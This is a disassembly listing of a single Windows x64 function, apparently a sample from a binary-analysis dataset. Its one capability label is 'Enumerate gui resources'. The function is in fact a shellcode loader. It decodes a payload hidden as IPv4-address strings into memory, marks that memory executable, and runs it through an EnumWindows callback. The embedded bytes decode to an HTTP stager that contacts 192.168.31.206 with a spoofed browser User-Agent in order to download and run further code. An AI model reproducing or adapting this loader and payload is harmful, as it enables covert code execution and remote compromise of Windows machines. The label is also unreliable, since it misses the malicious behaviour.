Function at 0x140001070
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x640]
sub rsp, 0x740
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x630], rax
lea rax, str.252.72.131.228
mov qword [rsp + 0x20], rax
lea rcx, str.201.72.49.192
lea rax, str.240.232.200.0
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x28], rax
lea rax, str.0.0.65.81
mov qword [rsp + 0x30], rax
lea rax, str.65.80.82.81
mov qword [rsp + 0x38], rax
lea rax, str.86.72.49.210
mov qword [rsp + 0x40], rax
lea rax, str.101.72.139.82
mov qword [rsp + 0x48], rax
lea rax, str.96.72.139.82
mov qword [rsp + 0x50], rax
lea rax, str.24.72.139.82
mov qword [rsp + 0x58], rax
lea rax, str.32.72.139.114
mov qword [rsp + 0x60], rax
lea rax, str.80.72.15.183
mov qword [rsp + 0x68], rax
lea rax, str.74.74.77.49
mov qword [rsp + 0x70], rax
lea rax, str.172.60.97.124
mov qword [rbp - 0x80], rax
lea rax, str.2.44.32.65
mov qword [rbp - 0x78], rax
lea rax, str.193.201.13.65
mov qword [rbp - 0x70], rax
lea rax, str.1.193.226.237
mov qword [rbp - 0x68], rax
lea rax, str.82.65.81.72
mov qword [rbp - 0x60], rax
lea rax, str.139.82.32.139
mov qword [rbp - 0x58], rax
lea rax, str.66.60.72.1
mov qword [rbp - 0x50], rax
lea rax, str.208.102.129.120
mov qword [rbp - 0x48], rax
lea rax, str.24.11.2.117
mov qword [rbp - 0x40], rax
lea rax, str.114.139.128.136
mov qword [rbp - 0x38], rax
lea rax, str.0.0.0.72
mov qword [rbp - 0x30], rax
lea rax, str.133.192.116.103
mov qword [rbp - 0x28], rax
lea rax, str.72.1.208.80
mov qword [rbp - 0x20], rax
lea rax, str.139.72.24.68
mov qword [rbp - 0x18], rax
lea rax, str.139.64.32.73
mov qword [rbp - 0x10], rax
lea rax, str.1.208.227.86
mov qword [rbp - 8], rax
lea rax, str.72.255.201.65
mov qword [rbp], rax
lea rax, str.139.52.136.72
mov qword [rbp + 8], rax
lea rax, str.1.214.77.49
mov qword [rbp + 0x10], rax
lea rax, str.172.65.193.201
mov qword [rbp + 0x20], rax
lea rax, str.13.65.1.193
mov qword [rbp + 0x28], rax
lea rax, str.56.224.117.241
mov qword [rbp + 0x30], rax
lea rax, str.76.3.76.36
mov qword [rbp + 0x38], rax
lea rax, str.8.69.57.209
mov qword [rbp + 0x40], rax
lea rax, str.117.216.88.68
mov qword [rbp + 0x48], rax
lea rax, str.139.64.36.73
mov qword [rbp + 0x50], rax
lea rax, str.1.208.102.65
mov qword [rbp + 0x58], rax
lea rax, str.139.12.72.68
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x18], rcx
lea rax, str.139.64.28.73
mov qword [rbp + 0x68], rax
lea rax, str.1.208.65.139
mov qword [rbp + 0x70], rax
lea rax, str.4.136.72.1
mov qword [rbp + 0x78], rax
lea rax, str.208.65.88.65
mov qword [rbp + 0x80], rax
lea rax, str.88.94.89.90
mov qword [rbp + 0x88], rax
lea rax, str.65.88.65.89
mov qword [rbp + 0x90], rax
lea rax, str.65.90.72.131
mov qword [rbp + 0x98], rax
lea rax, str.236.32.65.82
mov qword [rbp + 0xa0], rax
lea rax, str.255.224.88.65
mov qword [rbp + 0xa8], rax
lea rax, str.89.90.72.139
mov qword [rbp + 0xb0], rax
lea rax, str.18.233.79.255
mov qword [rbp + 0xb8], rax
lea rax, str.255.255.93.106
mov qword [rbp + 0xc0], rax
lea rax, str.0.73.190.119
mov qword [rbp + 0xc8], rax
lea rax, str.105.110.105.110
mov qword [rbp + 0xd0], rax
lea rax, str.101.116.0.65
mov qword [rbp + 0xd8], rax
lea rax, str.86.73.137.230
mov qword [rbp + 0xe0], rax
lea rax, str.76.137.241.65
mov qword [rbp + 0xe8], rax
lea rax, str.186.76.119.38
mov qword [rbp + 0xf0], rax
lea rax, str.7.255.213.72
mov qword [rbp + 0xf8], rax
lea rax, str.49.201.72.49
mov qword [rbp + 0x100], rax
lea rax, str.210.77.49.192
mov qword [rbp + 0x108], rax
lea rax, str.77.49.201.65
mov qword [rbp + 0x110], rax
lea rax, str.80.65.80.65
mov qword [rbp + 0x118], rax
lea rax, str.186.58.86.121
mov qword [rbp + 0x120], rax
lea rax, str.167.255.213.235
mov qword [rbp + 0x128], rax
lea rax, str.115.90.72.137
mov qword [rbp + 0x130], rax
lea rax, str.193.65.184.80
mov qword [rbp + 0x138], rax
lea rax, str.0.0.0.77
mov qword [rbp + 0x140], rax
lea rax, str.49.201.65.81
mov qword [rbp + 0x148], rax
lea rax, str.65.81.106.3
mov qword [rbp + 0x150], rax
lea rax, str.65.81.65.186
mov qword [rbp + 0x158], rax
lea rax, str.87.137.159.198
mov qword [rbp + 0x160], rax
lea rax, str.255.213.235.89
mov qword [rbp + 0x168], rax
lea rax, str.91.72.137.193
mov qword [rbp + 0x170], rax
lea rax, str.72.49.210.73
mov qword [rbp + 0x178], rax
lea rax, str.137.216.77.49
mov qword [rbp + 0x180], rax
lea rax, str.201.82.104.0
mov qword [rbp + 0x188], rax
lea rax, str.2.64.132.82
mov qword [rbp + 0x190], rax
lea rax, str.82.65.186.235
mov qword [rbp + 0x198], rax
lea rax, str.85.46.59.255
mov qword [rbp + 0x1a0], rax
lea rax, str.213.72.137.198
mov qword [rbp + 0x1a8], rax
lea rax, str.72.131.195.80
mov qword [rbp + 0x1b0], rax
lea rax, str.106.10.95.72
mov qword [rbp + 0x1b8], rax
lea rax, str.137.241.72.137
mov qword [rbp + 0x1c0], rax
lea rax, str.218.73.199.192
mov qword [rbp + 0x1c8], rax
lea rax, str.255.255.255.255
mov qword [rbp + 0x1d0], rax
lea rax, str.77.49.201.82
mov qword [rbp + 0x1d8], rax
lea rax, str.82.65.186.45
mov qword [rbp + 0x1e0], rax
lea rax, str.6.24.123.255
mov qword [rbp + 0x1e8], rax
lea rax, str.213.133.192.15
mov qword [rbp + 0x1f0], rax
lea rax, str.133.157.1.0
mov qword [rbp + 0x1f8], rax
lea rax, str.0.72.255.207
mov qword [rbp + 0x200], rax
lea rax, str.15.132.140.1
mov qword [rbp + 0x208], rax
lea rax, str.0.0.235.211
mov qword [rbp + 0x210], rax
lea rax, str.233.228.1.0
mov qword [rbp + 0x218], rax
lea rax, str.0.232.162.255
mov qword [rbp + 0x220], rax
lea rax, str.255.255.47.52
mov qword [rbp + 0x228], rax
lea rax, str.100.90.107.0
mov qword [rbp + 0x230], rax
lea rax, str.59.236.210.156
mov qword [rbp + 0x238], rax
lea rax, str.191.208.28.11
mov qword [rbp + 0x240], rax
lea rax, str.19.124.167.108
mov qword [rbp + 0x248], rax
lea rax, str.110.193.62.25
mov qword [rbp + 0x250], rax
lea rax, str.219.190.213.139
mov qword [rbp + 0x258], rax
lea rax, str.103.130.121.117
mov qword [rbp + 0x260], rax
lea rax, str.59.210.97.0
mov qword [rbp + 0x268], rax
lea rax, str.224.223.61.150
mov qword [rbp + 0x270], rax
lea rax, str.241.224.37.48
mov qword [rbp + 0x278], rax
lea rax, str.108.205.150.237
mov qword [rbp + 0x280], rax
lea rax, str.233.15.143.71
mov qword [rbp + 0x288], rax
lea rax, str.170.154.185.97
mov qword [rbp + 0x290], rax
lea rax, str.83.209.30.14
mov qword [rbp + 0x298], rax
lea rax, str.10.230.143.113
mov qword [rbp + 0x2a0], rax
lea rax, str.61.85.199.113
mov qword [rbp + 0x2a8], rax
lea rax, str.183.52.198.92
mov qword [rbp + 0x2b0], rax
lea rax, str.85.106.136.145
mov qword [rbp + 0x2b8], rax
lea rax, str.39.247.100.37
mov qword [rbp + 0x2c0], rax
lea rax, str.202.0.85.115
mov qword [rbp + 0x2c8], rax
lea rax, str.101.114.45.65
mov qword [rbp + 0x2d0], rax
lea rax, str.103.101.110.116
mov qword [rbp + 0x2d8], rax
lea rax, str.58.32.77.111
mov qword [rbp + 0x2e0], rax
lea rax, str.122.105.108.108
mov qword [rbp + 0x2e8], rax
lea rax, str.97.47.53.46
mov qword [rbp + 0x2f0], rax
lea rax, str.48.32.40.99
mov qword [rbp + 0x2f8], rax
lea rax, str.111.109.112.97
mov qword [rbp + 0x300], rax
lea rax, str.116.105.98.108
mov qword [rbp + 0x308], rax
lea rax, str.101.59.32.77
mov qword [rbp + 0x310], rax
lea rax, str.83.73.69.32
mov qword [rbp + 0x318], rax
lea rax, str.49.48.46.48
mov qword [rbp + 0x320], rax
lea rax, str.59.32.87.105
mov qword [rbp + 0x328], rax
lea rax, str.110.100.111.119
mov qword [rbp + 0x330], rax
lea rax, str.115.32.78.84
mov qword [rbp + 0x338], rax
lea rax, str.32.54.46.50
mov qword [rbp + 0x340], rax
lea rax, str.59.32.87.79
mov qword [rbp + 0x348], rax
lea rax, str.87.54.52.59
mov qword [rbp + 0x350], rax
lea rax, str.32.84.114.105
mov qword [rbp + 0x358], rax
lea rax, str.100.101.110.116
mov qword [rbp + 0x360], rax
lea rax, str.47.54.46.48
mov qword [rbp + 0x368], rax
lea rax, str.59.32.65.83
mov qword [rbp + 0x370], rax
lea rax, str.85.50.74.83
mov qword [rbp + 0x378], rax
lea rax, str.41.13.10.0
mov qword [rbp + 0x380], rax
lea rax, str.200.44.36.122
mov qword [rbp + 0x388], rax
lea rax, str.118.169.226.148
mov qword [rbp + 0x390], rax
lea rax, str.115.108.173.18
mov qword [rbp + 0x398], rax
lea rax, str.11.131.250.199
mov qword [rbp + 0x3a0], rax
lea rax, str.157.8.210.141
mov qword [rbp + 0x3a8], rax
lea rax, str.195.226.229.220
mov qword [rbp + 0x3b0], rax
lea rax, str.54.49.65.123
mov qword [rbp + 0x3b8], rax
lea rax, str.88.172.229.162
mov qword [rbp + 0x3c0], rax
lea rax, str.144.105.26.39
mov qword [rbp + 0x3c8], rax
lea rax, str.194.154.39.162
mov qword [rbp + 0x3d0], rax
lea rax, str.29.217.207.237
mov qword [rbp + 0x3d8], rax
lea rax, str.72.144.36.199
mov qword [rbp + 0x3e0], rax
lea rax, str.248.245.109.143
mov qword [rbp + 0x3e8], rax
lea rax, str.16.127.84.145
mov qword [rbp + 0x3f0], rax
lea rax, str.90.55.118.222
mov qword [rbp + 0x3f8], rax
lea rax, str.73.223.67.126
mov qword [rbp + 0x400], rax
lea rax, str.112.130.19.199
mov qword [rbp + 0x408], rax
lea rax, str.216.228.132.112
mov qword [rbp + 0x410], rax
lea rax, str.236.43.206.136
mov qword [rbp + 0x418], rax
lea rax, str.211.242.223.217
mov qword [rbp + 0x420], rax
lea rax, str.183.100.158.116
mov qword [rbp + 0x428], rax
lea rax, str.24.195.187.211
mov qword [rbp + 0x430], rax
lea rax, str.48.30.127.87
mov qword [rbp + 0x438], rax
lea rax, str.189.40.133.75
mov qword [rbp + 0x440], rax
lea rax, str.15.160.145.9
mov qword [rbp + 0x448], rax
lea rax, str.227.83.154.45
mov qword [rbp + 0x450], rax
lea rax, str.17.178.10.224
mov qword [rbp + 0x458], rax
lea rax, str.178.240.140.216
mov qword [rbp + 0x460], rax
lea rax, str.128.15.30.129
mov qword [rbp + 0x468], rax
lea rax, str.226.189.181.229
mov qword [rbp + 0x470], rax
lea rax, str.47.126.105.162
mov qword [rbp + 0x478], rax
lea rax, str.64.242.29.114
mov qword [rbp + 0x480], rax
lea rax, str.133.22.168.162
mov qword [rbp + 0x488], rax
lea rax, str.217.228.194.97
mov qword [rbp + 0x490], rax
lea rax, str.177.215.31.41
mov qword [rbp + 0x498], rax
lea rax, str.12.4.109.28
mov qword [rbp + 0x4a0], rax
lea rax, str.200.194.51.202
mov qword [rbp + 0x4a8], rax
lea rax, str.254.28.202.91
mov qword [rbp + 0x4b0], rax
lea rax, str.200.57.124.10
mov qword [rbp + 0x4b8], rax
lea rax, str.1.167.167.169
mov qword [rbp + 0x4c0], rax
lea rax, str.44.177.156.121
mov qword [rbp + 0x4c8], rax
lea rax, str.108.229.213.179
mov qword [rbp + 0x4d0], rax
lea rax, str.111.18.14.57
mov qword [rbp + 0x4d8], rax
lea rax, str.189.124.80.109
mov qword [rbp + 0x4e0], rax
lea rax, str.150.86.158.103
mov qword [rbp + 0x4e8], rax
lea rax, str.155.243.120.112
mov qword [rbp + 0x4f0], rax
lea rax, str.162.69.182.191
mov qword [rbp + 0x4f8], rax
lea rax, str.219.159.208.240
mov qword [rbp + 0x500], rax
lea rax, str.232.57.170.158
mov qword [rbp + 0x508], rax
lea rax, str.106.177.250.174
mov qword [rbp + 0x510], rax
lea rax, str.228.229.156.42
mov qword [rbp + 0x518], rax
lea rax, str.132.27.66.79
mov qword [rbp + 0x520], rax
lea rax, str.232.0.65.190
mov qword [rbp + 0x528], rax
lea rax, str.240.181.162.86
mov qword [rbp + 0x530], rax
lea rax, str.255.213.72.49
mov qword [rbp + 0x538], rax
lea rax, str.201.186.0.0
mov qword [rbp + 0x540], rax
lea rax, str.64.0.65.184
mov qword [rbp + 0x548], rax
lea rax, str.0.16.0.0
mov qword [rbp + 0x550], rax
lea rax, str.65.185.64.0
mov qword [rbp + 0x558], rax
lea rax, str.0.0.65.186
mov qword [rbp + 0x560], rax
lea rax, str.88.164.83.229
mov qword [rbp + 0x568], rax
lea rax, str.255.213.72.147
mov qword [rbp + 0x570], rax
xor ebx, ebx
lea rax, str.83.83.72.137
mov qword [rbp + 0x578], rax
mov edx, 0x700
lea rax, str.231.72.137.241
mov qword [rbp + 0x620], rbx
mov qword [rbp + 0x580], rax
xor ecx, ecx
lea rax, str.72.137.218.65
mov dword [rbp + 0x628], ebx
mov qword [rbp + 0x588], rax
lea r9d, [rbx + 4]
lea rax, str.184.0.32.0
mov r8d, 0x1000
mov qword [rbp + 0x590], rax
lea rax, str.0.73.137.249
mov qword [rbp + 0x598], rax
lea rax, str.65.186.18.150
mov qword [rbp + 0x5a0], rax
lea rax, str.137.226.255.213
mov qword [rbp + 0x5a8], rax
lea rax, str.72.131.196.32
mov qword [rbp + 0x5b0], rax
lea rax, str.133.192.116.182
mov qword [rbp + 0x5b8], rax
lea rax, str.102.139.7.72
mov qword [rbp + 0x5c0], rax
lea rax, str.1.195.133.192
mov qword [rbp + 0x5c8], rax
lea rax, str.117.215.88.88
mov qword [rbp + 0x5d0], rax
lea rax, str.88.72.5.0
mov qword [rbp + 0x5d8], rax
lea rax, str.0.0.0.80
mov qword [rbp + 0x5e0], rax
lea rax, str.195.232.159.253
mov qword [rbp + 0x5e8], rax
lea rax, str.255.255.49.57
mov qword [rbp + 0x5f0], rax
lea rax, str.50.46.49.54
mov qword [rbp + 0x5f8], rax
lea rax, str.56.46.51.49
mov qword [rbp + 0x600], rax
lea rax, str.46.50.48.54
mov qword [rbp + 0x608], rax
lea rax, str.0.0.1.134
mov qword [rbp + 0x610], rax
lea rax, str.160.0.0.0
mov qword [rbp + 0x618], rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
mov rdi, rax
mov rsi, qword [rsp + rbx*8 + 0x20]
lea r8, [rbp + 0x620]
mov rcx, rsi
mov r9, rdi
xor edx, edx
call qword [sym.imp.ntdll.dll_RtlIpv4StringToAddressA]
mov r14d, eax
test eax, eax
js 0x140001cea
add rdi, 4
inc rbx
cmp rbx, 0xe0
jl 0x140001c91
lea r9, [rbp + 0x628]
mov edx, 0x700
mov r8d, 0x10
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_EnumWindows]
jmp 0x140001d05
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, r14d
lea rcx, str.____RtlIpv6StringToAddressA_failed_in__s_result__x___u_
mov r9d, eax
mov rdx, rsi
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp + 0x630]
xor rcx, rsp
call fcn.140001d50
lea r11, [rsp + 0x740]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret